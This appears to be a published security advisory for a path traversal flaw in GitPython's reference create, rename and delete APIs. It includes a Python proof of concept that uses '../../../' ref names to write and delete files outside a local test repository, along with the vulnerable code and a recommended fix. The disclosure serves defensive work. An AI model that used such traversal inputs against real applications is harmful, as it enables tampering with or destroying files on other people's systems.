GHSA-7545-FCXQ-7J24
Vulnerability from github – Published: 2026-05-06 19:38 – Updated: 2026-05-08 21:52🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
📦 Affected Versions
- Affected:
<= 3.1.46and currentmain(3.1.47in local checkout)
🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
Affected Code
def set_reference(self, ref, logmsg=None):
...
fpath = self.abspath
assure_directory_exists(fpath, is_file=True)
lfd = LockedFD(fpath)
fd = lfd.open(write=True, stream=True)
...
@classmethod
def delete(cls, repo, path):
full_ref_path = cls.to_full_path(path)
abs_path = os.path.join(repo.common_dir, full_ref_path)
if os.path.exists(abs_path):
os.remove(abs_path)
def rename(self, new_path, force=False):
new_path = self.to_full_path(new_path)
new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
...
os.rename(cur_abs_path, new_abs_path)
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py
Exploit
import shutil
from pathlib import Path
from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference
base = Path("gp-ghsa-poc").resolve()
if base.exists():
shutil.rmtree(base)
repo_dir = base / "repo"
repo = Repo.init(repo_dir)
(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")
outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")
print(f"repo_dir = {repo_dir}")
print(f"outside_write = {outside_write}")
print(f"outside_delete = {outside_delete}")
Reference.create(repo, "../../../outside_write.txt", "HEAD")
print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
print("[+] outside_write content:")
print(outside_write.read_text(encoding="utf-8"))
SymbolicReference.delete(repo, "../../../outside_delete.txt")
print("\n[+] outside_delete exists after delete:", outside_delete.exists())
Result
repo_dir = ...\gp-ghsa-poc\repo
outside_write = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt
[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>
[+] outside_delete exists after delete: False
💥 Impact
What can an attacker do?
- Create or overwrite files outside the repository metadata directory
- Delete attacker-chosen files reachable from the process permissions
- Corrupt application state or configuration files
- Cause denial of service by deleting or overwriting important files
Security Impact
- Confidentiality: Low
- Integrity: High
- Availability: High
Who is affected?
- Applications that expose GitPython reference operations to user-controlled input
- Git automation services, repository management backends, CI/CD helpers, and developer platforms
- Multi-user environments where one user can influence ref names processed on behalf of another workflow
🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
SymbolicReference._check_ref_name_valid(path)
base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
target = (base / path).resolve()
if base not in [target, *target.parents]:
raise ValueError(f"Reference path escapes repository boundary: {path}")
return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.47"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.48"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44243"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T19:38:48Z",
"nvd_published_at": "2026-05-07T19:16:02Z",
"severity": "HIGH"
},
"details": "## \ud83e\uddfe Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository\u2019s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## \ud83d\udce6 Affected Versions\n\n* Affected: `\u003c= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## \ud83e\udde0 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n ...\n fpath = self.abspath\n assure_directory_exists(fpath, is_file=True)\n\n lfd = LockedFD(fpath)\n fd = lfd.open(write=True, stream=True)\n ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n full_ref_path = cls.to_full_path(path)\n abs_path = os.path.join(repo.common_dir, full_ref_path)\n if os.path.exists(abs_path):\n os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n new_path = self.to_full_path(new_path)\n new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n ...\n os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## \ud83e\uddea Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir = {repo_dir}\")\nprint(f\"outside_write = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n print(\"[+] outside_write content:\")\n print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir = ...\\gp-ghsa-poc\\repo\noutside_write = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n\u003ccurrent HEAD commit SHA\u003e\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## \ud83d\udca5 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## \ud83d\udee0\ufe0f Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n SymbolicReference._check_ref_name_valid(path)\n\n base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n target = (base / path).resolve()\n\n if base not in [target, *target.parents]:\n raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```",
"id": "GHSA-7545-fcxq-7j24",
"modified": "2026-05-08T21:52:16Z",
"published": "2026-05-06T19:38:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44243"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.